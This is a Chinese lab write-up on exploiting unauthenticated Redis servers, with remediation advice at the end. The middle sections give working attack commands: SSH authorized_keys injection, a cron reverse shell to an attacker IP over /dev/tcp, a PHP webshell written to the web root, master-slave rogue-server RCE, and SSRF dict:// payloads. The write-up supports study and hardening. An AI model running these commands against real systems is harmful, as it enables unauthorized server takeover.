前言
Redis的未授权漏洞一直都是一个很火的漏洞,最近看许多前辈的文章自己复现后,根据自己的实践再次总结一下,为日后复习方便回顾。
Redis简介
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis常用命令:
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接
Redis基本操作
1.使用SET和GET命令,可以完成基本的赋值和取值操作;
2.Redis是不区分命令的大小写的,set和SET是同一个意思;
3.使用keys *可以列出当前数据库中的所有键;
4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5.如果键的值中有空格,需要使用双引号括起来,如"Hello World";
Redis配置文件参数:
port参数
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
bind参数
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。
save参数
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如: save 900 1 save 300 10 save 60 10000 表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
requirepass参数
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
dir参数
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
dbfilename参数
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config命令
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
protected-mode参数
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
测试环境
攻击机 | Kali(192.168.33.131) |
目标机 | Ubantu 16(192.168.33.133) |
漏洞利用
利用原理:
Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.
- RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照
- AOF 持久化记录服务器执行的所有写操作命令.
经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.
- RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.
环境搭建:
靶机:unbantu 16
为快速复现,默认apt-get安装
先进行更新
sudo apt-get upgrade
安装
sudo apt-get install redis-server
默认安装到 /usr/bin/redis-server
直接启动服务就可以执行redis-server或者redis-server+(配置文件目录)
注意要将配置文件中的bind参数改为0.0.0.0或者注释掉,并且修改protected-mode为no允许外连。
还需要关闭防火墙,具体命令:sudo ufw disable 查看防火墙状态:sudo ufw status
安装之后开启redis服务准备复现
利用方式
1、写 ssh-keygen 公钥登录服务器
原理:
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端; (2)客户端发起登录请求,发送自己的相关信息; (3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端; (4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证; (5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
条件:
1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
详细步骤:
在攻击机本地生成公钥文件:
需要为我们的公钥文件设置一个私钥
公钥文件默认路径:/root/.ssh/id_rsa.pub
ssh-keygen -t rsa
cd /root/.ssh
ls
cat id_rsa.pub
然后通过未授权访问目标机
具体命令
redis-cli -h 192.168.33.134 #连接目标主机redis
config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n 公钥 \n\n\n" #将公钥写入xz健
save #进行保存
利用公钥进行SSH登录攻击机,第一次需要输入yes
2、利用计划任务反弹shell
原理:
我们都知道crontab是做计划任务的,启动的任务存放在/var/spool/cron中,root可以修改计划任务,可以将执行命令反弹shell直接写入计划任务中
条件:
root启用Redis
redis无密码或者弱密码
详细步骤:
先在攻击机使用nc监听8888端口nc lvp 8888
然后去操作Redis,具体命令:
redis-cli -h 192.168.33.134 #连接redis
flushall #清除所有键值
config set dir /var/spool/cron/crontabs/ #设置保存路径
config set dbfilename shell #保存名称
set xz "\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n" #将反弹shell写入xz键值
save #写入保存路径的shell文件
看到监听的命令行窗口已经有弹回来的shell了(这里有很多的坑,ubantu写入会出现乱码和不回弹的情况,反弹shell测试最好还是用centos测试吧)
ubantu的坑参考这个文章https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/
3、Redis直接写webshell
条件:
知道网站绝对路径,并且需要增删改查权限
root启动redis
redis弱密码或者无密码
补充:若不知道物理路径,可尝试寻找网站的应用程序错误或者常见绝对路径去尝试。
详细步骤:
redis-cli -h 192.168.3.134 #连接Redis
config set dir /www/admin/localhost_80/wwwroot #设置要写入shell的路径
set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" #写入phpinfo()到xxx键
config set dbfilename phpinfo.php
save
成功写入
4、Redis主从复制getshell
原理:
Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
条件:
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis
详细步骤:
模拟主从关系,具体命令
root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK
192.168.33.134:6379> get xz
(nil)
192.168.33.134:6379> exit
root@kali:~/桌面# redis-cli
127.0.0.1:6379> get xz
(nil)
127.0.0.1:6379> set xz xz
OK
127.0.0.1:6379> exit
root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> get xz
"xz"
192.168.33.134:6379>
设置主从关系
root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK
然后在kali下载利用工具https://github.com/n0b0dyCN/redis-rogue-server
下载之后cd进入RedisModulesSDK目录使用make编译,当然不想编译也可以用作者给出的默认exp.so也是可以的。
有两种使用方法
一种是交互式shell,另一种是反弹shell
交互shell演示:
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入i进入交互shell
反弹shell
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入r,接着输入ip和端口进行反弹
ps:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从
5、结合SSRF进行利用
原理:
SSRF攻击的目标是从外网无法访问的内部系统,这里通过SSRF使用dict协议访问本地Redis
条件:
root启用redis
目标机存在dict协议
知道网站绝对路径
redis无密码或者弱密码
详细步骤:
使用pikachu的靶场,这里采用dict协议,目标机需要先安装dict协议
这里直接写入<>会被实体编码,?直接被截断,暂时没找到解决办法
dict://192.168.33.134:6379/set:xz:<?php phpinfo() ;?> dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
dict://192.168.33.134:6379/save
直接写入失败,所以可以采用主从复制写入
dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot
dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
先设置好保存的路径和保存的文件名
然后登入kali进行主从复制操作,方法和上面的一样
127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"
再去web端执行save操作
dict://192.168.33.134:6379/save
这样数据直接回同步到目标机
写入失败截图:
成功写入截图:
6、redis写lua
redis2.6之前内置了lua脚本环境在redis未授权的情况下可以利用lua执行系统命令,这里没有深入研究,感兴趣可以看这篇文章:https://wooyun.x10sec.org/static/drops/papers-3062.html
批量检测未授权redis脚本
https://github.com/Ridter/hackredis
redis未授权漏洞应急响应案例:
redis未授权访问致远程植入挖矿脚本(防御篇)
https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w
利用拓展:
Windows下如何getshell?
写入webshell,需要知道web路径
写入启动项,需要目标服务器重启
写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
修复方案:
1、禁止一些高危命令(重启redis才能生效)
- 修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
- 或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"
2、以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
3、为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4、禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。
5、修改默认端口
修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
6、保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
- 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
- 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
- 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh
7、设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
参考文章: